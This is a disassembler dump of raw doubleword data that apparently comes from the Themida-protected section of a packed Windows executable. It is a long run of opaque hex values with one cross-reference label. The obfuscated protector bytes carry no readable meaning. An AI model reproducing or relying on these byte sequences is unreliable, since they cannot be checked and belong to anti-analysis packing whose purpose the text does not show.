0E800000Eh, 0 dd 20ED815Dh, 6A060F51h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0FEB9C350h, 0F847F917h dd 6E8B843h, 8000000h, 68CF565Eh, 7E9A3h, 95CE0000h, 3A4436A9h dd 8B665F68h, 0BE9F8h, 35F10000h, 0E1E08F6Dh, 7FD9DB81h dd 14E812h, 0CFC40000h, 49D7C8F6h, 2861CB1Bh, 4E9C001Ah dd 7E9E9B18h, 0B6035D8h, 0B17959Dh, 0A9BD8B06h, 61060B06h dd 93858D5Bh, 31060E92h, 0B06DD95h, 0ECBB5006h, 8953290Ah dd 0D5BF2404h, 640D3FFFh, 35FFh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 98AAD1C3h dd 0F60973A9h, 64442952h, 2589h, 95890000h, 60B19C5h, 66D85FFh dd 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 29A97EC3h, 54A47BC1h, 0BE9AEh, 0C1030000h dd 0AFC6F8Dh, 2129C9C2h, 6AFF6A35h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 8ECBC353h dd 16EF90E4h, 5753CF47h, 7ADCBB66h, 0C9B5FF5Bh, 6A060B19h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 2BAFC350h, 0CB71D67Bh, 9743BBD7h, 95FF715Fh dd 60B2411h, 112E9h, 1DBD0B00h, 0B0060B21h, 519D0900h dd 0E6060B2Fh, 1DBD8B70h, 0E4060B01h, 0F613C71h, 0F283h dd 850FF500h, 0 dd 0E8C8B60Fh, 13h, 0A5D3C0Ah, 0CD1DBB9h, 7F4C0E01h, 8F25392Fh dd 0E97F0828h, 5, 0D3208B03h, 6BA5BBBh, 89000000h, 0B032985h dd 89C18B06h, 0B18A98Dh, 39BD8B06h, 0C1060B01h, 0BF0F04E8h dd 0E2F766DBh, 25DBD8Bh, 0C82B060Bh, 8EBCC8BBh, 89D18B2Fh dd 0B208595h, 0E906h, 858B0000h, 60B2075h, 0DE8h, 0DE146D00h dd 1AC215D8h, 0C9873132h, 835FF2A4h, 0BD0907C0h, 60B32D5h dd 6600C083h, 0A203E381h, 830FD03Bh, 12h, 8B0Fh, 4CE90000h dd 0F000000h, 18Dh, 8D8BF900h, 60B0869h, 13E9h, 7FBFC00h dd 21495DF5h, 8ACDDBD5h, 0D11621D8h, 32374D21h, 0F01E183h dd 1E84h, 69A58300h, 0FE060B08h, 840Fh, 95890000h, 60B2075h dd 22558501h, 0E9060Bh, 8D000000h, 0ED704B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0D9FEA303h, 66B6A744h, 911ADB81h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 111661C3h dd 219D75EEh, 0F95670E1h, 8D58589h, 0FE9060Bh, 0AA000000h dd 133EA3C3h, 643B29F3h, 737C47BDh, 95FF1772h, 60B32DDh dd 3820B6BBh, 0A48B974h, 0BD890000h, 60B0209h, 0DE9h, 7039F000h dd 6819171Eh, 54889E5Dh, 0E18397E2h, 0F337BFFCh, 6AFC3D0Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 7949C355h, 699DED40h, 0B8FCh, 9D8B0000h dd 60B035Dh, 6AD22Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0ADFB32C3h, 0A0DC215Eh, 56561BCCh dd 12E8h, 294F1B00h, 320D8D3Fh, 5D52821Ah, 0F9A7DDB0h dd 5BDF3E37h, 33AD5B5Fh, 3E8D1C2h, 4E983D0h, 8D89F475h dd 60B2B1Dh, 22F9BD31h, 0E857060Bh, 8, 83ACEDE9h, 0FE15DCA4h dd 6E9h, 2B017300h, 5B4617C5h, 880D5Fh, 0E8BB0000h, 60032D58h dd 8D8BEBB6h, 60B08D5h, 4D958B61h, 0B3060B17h, 198D8B2Eh dd 6A060B01h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 5500C353h, 6E8C1E3h, 9D000000h dd 47D5A5E5h, 61B58984h, 5B060B27h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 0BF0F5818h, 52006AFFh, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 12E9E9DFh, 0B8000000h, 0EBF114DEh, 0AA096F40h, 222BB820h dd 36B51EDEh, 0BD83F938h, 60B29BDh, 6A840F00h, 53000000h dd 12E1BD8Bh, 0B85B060Bh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 61C35040h dd 0EB59D8Bh, 8D8D060Bh, 60B4DD7h, 399D8BFCh, 0FF060B29h dd 51006AE1h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0FDCC8244h, 659D8B58h, 8B060B1Ah, 0B20E1BDh dd 9BD8306h, 60B10h, 4A9840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 6A0C24C3h dd 0E5B2985Dh, 1009BD83h, 0F01060Bh, 49584h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0B59D8989h, 83060B21h, 0B1009BDh, 860F0306h, 430h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 60C35242h, 4A72CCE9h dd 8D896210h, 60B18F5h, 0D98C6660h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 7BC35747h, 8680BB3Eh, 8192639Eh dd 0A6824CBh, 399D0964h, 80060B2Bh, 6A04E1h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 11B58BC3h dd 8EF0C7F3h, 0C90A27C3h, 153840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 7C0528C3h dd 858BBB89h, 60B317Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 2DC35545h, 0B67F1D2Ah, 1AB36011h, 5A5EE81h dd 89613612h, 0B0809BDh, 0ED853306h, 8B060B06h, 0B069D9Dh dd 8E95006h, 7B000000h, 3EB8ABEh, 896B5CA4h, 5F522404h dd 8589006Ah, 60B02DDh, 0DFC76768h, 6E8ADh, 3BFF0000h dd 5A4984E2h, 8E9h, 0D6F9D400h, 1584AE97h, 4815BD6h, 3F3C9824h dd 50006A52h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0CF3CFCA9h, 0BD899F7Eh, 60B02D5h, 3D195FFh dd 14E9060Bh, 0E6000000h, 0DE1F3816h, 19EE0DF1h, 9F31BA41h dd 0DE013CAEh, 89546BA3h, 0EA81D85h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 4CBA2A78h dd 8934D34Bh, 0B0D0995h, 0D7816606h, 0DAE951F6h, 6A000001h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 2664C350h, 7A7D18D0h, 60059A6Eh, 10759501h dd 8589060Bh, 60B02E5h, 15858B61h, 6A060EA8h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 9C86C357h, 6D8D01D4h, 0C7060B13h, 1800h, 13E900h, 0DD750000h dd 0ED07A31Ah, 53FDA90Ah, 8C97D4D1h, 59D75859h, 19B58B81h dd 89060EA8h, 0B0E9DBDh, 8BACB706h, 0B06E185h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 81A85C73h, 0BB1180DCh, 7C3CCB89h, 6A0689h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 43E788C3h dd 1A3B97D9h, 1D9D8B11h, 0F9060B15h, 317D858Bh, 0FE9060Bh dd 0AA000000h, 21366CE3h, 0BFE5AF44h, 18C70BA7h, 816680EAh dd 89F22CDBh, 50960446h, 0FBB96660h, 38B0F6Ah, 66000000h dd 9661DE8Bh, 0C1BD2960h, 0E8060B06h, 9, 0F303C862h, 4F334E99h dd 9DD881B1h, 5A533A19h, 15B5FF61h, 68060EA8h, 920F6EDFh dd 20240481h, 6A6E0F95h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 88D3C351h, 1BB2BE73h dd 51C8209Ah, 292D9589h, 858D060Bh, 60EA81Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D0C35343h, 36B86509h dd 509C4245h, 0F88A5250h, 0B060310Fh, 9DBE66DEh, 585A61F2h dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 276BC353h, 14BB2276h, 0D195FF9Ch dd 89060B03h, 0B2189BDh, 6A6106h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 8293B1C3h, 0C7B675D1h dd 0B100985h, 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 8A66B6BAh, 1DBD83FEh dd 60EA8h, 52840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0B56731C3h, 0B50997D5h dd 60B27DDh, 42E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 83E06193h, 0BB940FF8h dd 3F6B4BA7h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 81C08B00h, 8E2ADF7h, 6E95Fh, 6700000h, 1CCDADD8h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 65C35343h, 0BD836AC9h dd 60B1009h, 8850F03h, 83000004h, 0EA81DBDh, 840F0006h dd 3FBh, 5718D89h, 0B5FF060Bh, 60EA81Dh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 59C35343h, 0F4B62A9h dd 286h, 0E945B300h, 10h, 10F765DEh, 0E41A509h, 3E97668Ch dd 20BF883Fh, 83D95FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0CAC4FCC3h, 3D858940h dd 8B060B10h, 0EA811B5h, 6860F06h, 89000000h, 0B1A858Dh dd 106C706h, 6A000100h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 3E6EC353h, 0FDE7C230h dd 0C9958931h, 50060B0Dh, 28D0Fh, 0F88B0000h, 0FC243489h dd 0A81DB5FFh, 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 9C7597C3h, 0B17EA9ADh, 66FE3F44h dd 0E13DEB81h, 64195FFh, 0CE8060Bh, 48000000h, 51B5CB7Fh dd 83D7E214h, 0E95F4F21h, 13h, 16AC8A59h, 40EF6AB6h, 0A1BE8043h dd 0C0CB2C0Eh, 5B29F951h, 0A811B58Bh, 19BB060Eh, 8B2CC8E3h dd 0B121D85h, 8DEB8006h, 0C48689h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 36060C3h dd 0B16318Dh, 61F18B06h, 174D958Bh, 6A060Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 155164C3h dd 4C28391h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 3AC35141h, 0F2C55C7Eh, 0B82F18h, 0CE9h, 9B1D6E00h dd 0BBED7EADh, 0DC12D329h, 205089CBh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0EDC35747h, 4556E474h, 0D88EB7A2h dd 8DDC8AA5h, 0EBAEE85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 8E9AA192h, 89501CC5h dd 0B0BADBDh, 86895F06h, 0B8h, 16A59D8Bh, 6A060Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 54C35646h, 0FE09EB08h dd 9531A9E7h, 60B2B79h, 0A81DB5FFh, 12E9060Eh, 26000000h dd 0B480197Fh, 0E02F3081h, 746B8341h, 0C72FEDAAh, 1595FF4Ch dd 6A060B0Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 1CD6C352h, 4BFCBE15h, 0F80C5023h dd 24348950h, 1DB5FFF5h, 3060EA8h, 0B01B5BDh, 8E906h, 62470000h dd 29B6C709h, 95FF2480h, 60B00F5h, 0C860Fh, 830F0000h dd 6, 0D09BD8Bh, 0BD83060Bh, 60B2191h, 27840F00h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 6B49C355h, 8B605250h, 895F61C6h, 0B5FF2434h dd 60EA81Dh, 128195FFh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 5FA085C3h, 0FFDBFCAEh dd 0EA81DB5h, 552BBF06h, 95FF0F0Dh, 60B0B8Dh, 17F1BD83h dd 0F02060Bh, 7484h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0B5896F05h, 60B2E65h dd 2EC5858Bh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 3CDCFDC3h, 0FC1B7C2Fh, 0C6B136h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0C6E14BDh, 8FC38166h, 0B985C7B6h, 60B06h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0CBF0C351h, 11DE3FE4h, 85F381E6h dd 0F21D8A5h, 68Eh, 0C9BD8B00h, 0E9060B31h, 0FFFFF2FDh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0F8C35343h dd 0E90FC4DFh, 7, 0D527205Fh, 8B406FC1h, 0D8BF0FC1h, 28A9858Dh dd 8A0F060Bh, 16h, 11E9h, 0C94CA000h, 79C388C3h, 82AD57EAh dd 0B37F40DBh, 8B50EEFCh, 240489FAh, 1B4D8589h, 6A060Bh dd 0D2A4BF66h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0AAFE82C3h, 510386DFh, 858DF33Ah dd 60F60FEh, 83FCD98Bh, 6A05C0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 6214D1C3h, 9D0BFC88h dd 60B2AE1h, 52505050h, 310F5250h, 310F585Ah, 8E0Fh, 585A0000h dd 2404895Fh, 5519529h, 6A060Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 1FC35545h, 50F0A907h, 6A7B2933h dd 9531FC00h, 60B0E85h, 2F2195FFh, 61BF060Bh, 8D110C25h dd 0EA7B08Dh, 0D6BF6606h, 6AD1FFECh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0BC3C353h dd 66485C93h, 9589FE8Bh, 60B0CBDh, 0B19BD83h, 0F01060Bh dd 7D85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0BBC79E82h, 5B70AC8Eh, 0E960026Ah dd 0Dh, 7F3ED737h, 69FEB321h, 0C25789B0h, 61F38B54h, 6FBB6650h dd 24048939h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 5BC35545h, 0ED597BC4h, 0FF903A1Ch, 0B0F1595h, 0CE906h dd 0A6330000h, 416DBFEBh, 99EE8D86h, 31E98033h, 0E800000Eh dd 0 dd 8ED815Dh, 6A060F61h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 242FC356h, 3D9DD999h dd 668D47F4h, 858DD98Bh, 60E9293h, 51BD8B53h, 5B060B1Fh dd 70BB6650h, 24048918h, 64DBBF0Fh, 35FFh, 8B0F0000h, 2 dd 8964FD8Ah, 25h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0F7812A6Fh, 50DBDB5Eh dd 66D85FFh, 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 1FC5E3C3h, 0AC008A85h, 6AFF6AC4h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 1A72C355h, 0E8BBEB42h, 11h, 0D4C11844h, 78454407h dd 57F7023Fh, 0D9402530h, 0B5FF5B26h, 60B1B7Dh, 2719589h dd 95FF060Bh, 60B2411h, 12EE9h, 2648BF00h, 0B00955h, 0E6D88B66h dd 0E8FE8B70h, 7, 0F87003D7h, 3FD2DF2h, 0B18999Dh, 71E45F06h dd 1A35BD8Bh, 60BF060Bh, 3C2FF8A8h, 0F8830F61h, 89000000h dd 0B297185h, 0C8B60F06h, 0CE8h, 49A07F00h, 713B040Eh dd 42CD23B6h, 5FFE8BD4h, 6E9h, 32A40900h, 0BA4E856Bh, 6 dd 58EF8166h, 8BC18B77h, 0B2A3D9Dh, 4E8C106h, 1EDB8166h dd 0E2F7663Dh, 3ACB8152h, 5F12BFE7h, 9D8BC82Bh, 60B2131h dd 0A422F381h, 0D18B65E2h, 13E9F88Bh, 0E9000000h, 0Ah dd 0B04454AAh, 3DAE4EDAh, 0BF664587h, 858BA8FCh, 60B15E1h dd 75FBF66h, 8B07C083h, 0B087D9Dh, 0BD8B5706h, 60B18E5h dd 0C0835Bh, 15718D31h, 9D8B060Bh, 60B059Dh, 830FD03Bh dd 13h, 2B39BD89h, 44E9060Bh, 89000000h, 0B04119Dh, 8BA6B306h dd 0B1A9D8Dh, 4880F06h, 66000000h, 83DCBCBFh, 840F01E1h dd 23h, 800Fh, 0A5830000h, 60B1A9Dh, 8A0FFEh, 89000000h dd 0B15E195h, 0EF816606h, 0E9BC95h, 8D000000h, 0EE370B5h dd 9870F06h, 60000000h, 2F558D29h, 61F8060Bh, 820F006Ah dd 6, 0E35BD89h, 95FF060Bh, 60B32DDh, 19820Fh, 14E90000h dd 63000000h, 1247837Dh, 0C2FA0048h, 2319B0D9h, 41BEA01Eh dd 0B9328EF1h, 86Ch, 0FCE183F8h, 55006AFCh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 63CE4870h dd 0AE8h, 0DCEB8D00h, 5BE4A752h, 0FBB256Dh, 388h, 0FEBF0F00h dd 13E95Fh, 533B0000h, 0EAC41C57h, 86CB5AF4h, 0D2BC7067h dd 0E794D2B5h, 6AC02BEFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0CCB6C355h, 66DF8B51h dd 9F0FDB81h, 0BAh, 158D8900h, 0AD060B14h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 798C351h, 3CB7F48h dd 0B07419Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0E88FAD52h, 0Dh, 4565D40Fh, 93EE47BFh dd 74AEC7B1h, 15BD892Fh, 5F060B2Eh, 880Dh, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 89CB4D0Dh, 0B1A1985h, 4D958B06h, 89060B17h, 0B1935B5h dd 198D8B06h, 6A060B01h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 7A54C352h, 50FA8BFFh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 7AC843C8h, 8B94280Bh, 0E3BF66FAh, 0BDBD838Dh, 60B29h dd 91840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 669B68C3h, 511C24BBh, 17D59D8Bh dd 0B85F060Bh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0B7C35747h dd 42B903EEh, 0ABBC888h, 8D716E20h, 0B4DD78Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0E9870E0Ah, 0Fh, 9C3717FCh, 91358DD7h, 481403Dh, 0FF853D74h dd 83DD8AE1h, 0B1009BDh, 840F0006h, 489h, 9BD83F9h, 1060B10h dd 496840Fh, 0F600000h, 281h, 315A5100h, 0B13D9BDh, 9D0B6106h dd 60B28A5h, 1009BD83h, 0F03060Bh, 43D86h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 6A6033h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 6EA8E3C3h, 850F5258h, 6, 0B89B501h, 8C66060Bh dd 0DD9D89D9h, 80060B04h, 0BF0F04E1h, 0FC90AFEh, 12484h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 10E9D0h, 0B8C70000h, 0C6F6C5E8h, 2BBB374Ch dd 7CBB0A47h, 858B5667h, 60B317Dh, 0FE8h, 0BD14FA00h, 1B5F73B7h dd 0A7FA7FB1h, 0A0FCEDCh, 335FD88Bh, 0B06ED85h, 8B669006h dd 319050FAh, 0B28299Dh, 0F006A06h, 685h, 318D8900h, 0E8060B0Bh dd 4, 1F03FFh, 0AE9h, 2DBFAB00h, 59481168h, 50A136ECh dd 0F2F7F3BFh, 24448B17h, 50008B04h, 50310F52h, 0F88B6652h dd 5250310Fh, 585A310Fh, 585A585Ah, 4244489h, 0CBB1BF66h dd 71D3BB58h, 14E92654h, 2D000000h, 7580E0E8h, 6365829Fh dd 9F69EA3h, 5BAE0413h, 0FF8B35FFh, 0B03D195h, 0AE906h dd 91D00000h, 0CE905D72h, 41D2F0BBh, 0A81D8589h, 0BE9060Eh dd 22000000h, 8F1F35Bh, 58283F1Eh, 3DE9927Ch, 6A000002h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 1952C351h, 66002C1Dh, 8B66DF8Bh, 15858BD9h dd 0E9060EA8h, 0Bh, 6807787Dh, 221680ABh, 0C779589Bh, 1800h dd 8BDD8A00h, 0EA819B5h, 5FDFBF06h, 858B0809h, 60B06E1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0EAC35747h dd 1161724Dh, 0CBE9E987h, 8E96Fh, 0B480000h, 55A4DAE6h dd 689551Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 68C35646h, 858BF010h, 60B317Dh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 16h, 30C35343h, 810F5064h dd 6, 0B599D23h, 6660060Bh, 0F5A81B9h, 68Eh, 999D8900h dd 61060B29h, 8B044689h, 0B0E6D9Dh, 0DF816606h, 0F96C5CEh dd 0E8Ch, 50525000h, 5A310F52h, 60310F58h, 50585A61h, 66F78B60h dd 619DBFBAh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 83BF21D3h, 0FF0A6609h, 0EA815B5h dd 91BD8906h, 31060B05h, 0B1A1185h, 4E806h, 3FF0000h, 0BF66001Fh dd 0E9506CC6h, 7, 25280296h, 8BE46D48h, 50042444h, 0C18A6052h dd 8F0Fh, 0F610000h, 0F525031h, 0D678BB31h, 585A547Ah dd 8B585Ah, 4244489h, 0FBC3BB66h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 9149ED74h dd 85895369h, 60B2225h, 0EE85Bh, 8EB0000h, 0F60D09C8h dd 0AB7C5FBEh, 88E40604h, 0BE960h, 20150000h, 8FFB44FDh dd 0B6536CAEh, 6161608Dh, 1D858D5Bh, 6A060EA8h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 1DB8C356h, 8141B375h, 98B981DFh, 5E85058h, 8000000h dd 6F27BAA7h, 6880Fh, 8E0F0000h, 0 dd 2404895Fh, 2EF5BD01h, 9D8B060Bh, 60B1A85h, 3D195FFh dd 8D89060Bh, 60B007Dh, 0DEBF0F61h, 100985C7h, 3060Bh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 6C7171C3h, 0CE6A5F3Ch, 87D8589h, 9D29060Bh dd 60B19F5h, 0A81DBD83h, 0F00060Eh, 5984h, 50006A00h dword_582A68 dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h ; DATA XREF: Themida_:005521C1o dd 53499F02h, 0F98A45FDh, 4CE9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0F5D10209h dd 0D7ECD87h, 820F1B25h, 6, 0B9BB6652h, 30505BA7h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 159D89C0h dd 0B7060B09h, 9BD835Ah, 3060B10h, 471850Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 89E71EC3h, 1F4286ECh, 830CDB80h, 0EA81DBDh, 840F0006h dd 43Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0FFC35242h, 0E6BDBDEAh, 2E8D9D8Bh, 0B5FF060Bh dd 60EA81Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 20C35242h, 0BB66A64Ah, 95FFB723h, 60B083Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 44C35646h, 0D287342Fh dd 11B58B5Eh, 6A060EA8h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0FB9BC351h, 0AF742E94h dd 0D2296855h, 1D88B66h, 0B29B9B5h, 106C706h, 6A000100h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 1420C350h, 12E823h, 0E25C0000h, 0ADF7E0Fh dd 0FCADC123h, 53A458C0h, 283C87EEh, 1F618501h, 8B5F060Bh dd 0F88B96DFh, 0B6606050h, 0C88B666Bh, 0C18B6661h, 81669661h dd 898A54D7h, 0B12898Dh, 1DB5FF06h, 0E8060EA8h, 12h, 0A268488Ah dd 231EE4BCh, 0C025B075h, 0E4C098ABh, 0B5312DD2h, 60B0305h dd 4195FF5Bh, 0E8060B06h, 0Dh, 30EB0133h, 0EF95BCE9h, 0E27FE905h dd 84DF8060h, 11B58B5Fh, 6A060EA8h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 5CAEC351h dd 0B70FDE8Bh, 1D858BFBh, 0F060B12h, 581h, 3193BB00h, 86891950h dd 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0E7C35242h, 32359529h, 958B060Bh, 60B174Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F1C35747h, 0FB5708F0h dd 8CB8110h, 835AD1E0h, 0F98B04C2h, 6A205089h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 66C2C352h, 90DE781h, 0BAEE858Dh, 890F060Eh, 6, 135D8D29h dd 8689060Bh, 0B8h, 6AFA8B66h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 21085A9Bh dd 3B795266h, 1DB5FF94h, 89060EA8h, 0B0B1195h, 0EE906h dd 0E8E10000h, 71B8B6C4h, 8AD1B115h, 50F936D4h, 0F1595FFh dd 0B70F060Bh, 525096F8h, 0BE9h, 6078D000h, 0D9B63761h dd 53AB890Ch, 0F88B310Fh, 0F50585Ah, 28Dh, 96FB8B00h, 10860Fh dd 0BE90000h, 0F0000000h, 0B6F34A67h, 0C53CD26Dh, 0B5FFCE12h dd 60EA81Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0A7C35646h, 829B1C5Ch, 9C947189h, 0D776FABFh, 0F595FF0Fh dd 89060B00h, 0B00058Dh, 91BD8306h, 60B21h, 2A840Fh, 6FBB0000h dd 50672527h, 68B75051h, 34895B5Bh, 66576024h, 575BC681h dd 5D958B5Ah, 61060B33h, 6800Fh, 0F7810000h, 2BCE559h dd 0A81DB5FFh, 0AE8060Eh, 0FF000000h, 0EFA5B75Fh, 54988F15h dd 0B58D8972h, 5B060B29h, 128195FFh, 6A060Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 8BA211C3h dd 5F45C5C1h, 1235BD8Bh, 0FE8060Bh, 5000000h, 0AA157076h dd 454EA24h, 0C6AF0F19h, 9589D1FBh, 60B17CDh, 1DB5FF5Bh dd 60060EA8h, 2DD9D31h, 0BD89060Bh, 60B0715h, 8D95FF61h dd 6A060B0Bh, 3E85300h, 